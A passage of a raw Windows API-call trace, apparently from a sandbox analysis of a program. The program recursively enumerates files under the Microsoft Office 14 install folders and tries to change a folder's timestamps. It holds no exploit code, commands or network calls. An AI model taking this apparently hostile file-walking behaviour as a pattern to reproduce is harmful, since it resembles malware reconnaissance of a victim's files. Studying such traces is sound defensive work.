[0078.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.196] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f32200, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0x1710610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f32200, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0078.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4e68 [0078.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8128 [0078.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.197] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="")) returned 1 [0078.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="")) returned 0 [0078.198] GetLastError () returned 0x12 [0078.198] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.198] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x2e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAddin.dll", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4065b100, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4065b100, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0725100, ftCreationTime.dwHighDateTime=0x1bdbc1e, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0725100, ftLastWriteTime.dwHighDateTime=0x1bdbc1e, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x5279f530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6927e500, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6927e500, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ef300, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x704ef300, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x13b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f32200, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0x1710610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f32200, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="")) returned 1 [0078.198] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="")) returned 0 [0078.198] GetLastError () returned 0x12 [0078.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.198] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0078.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a1fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVTEL.DIC", cAlternateFileName="")) returned 1 [0078.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1 [0078.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0078.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0078.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x6886, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClientManifest.man", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSEvents.man", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSSync.exe", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x65ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="")) returned 1 [0078.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.200] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.202] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.202] 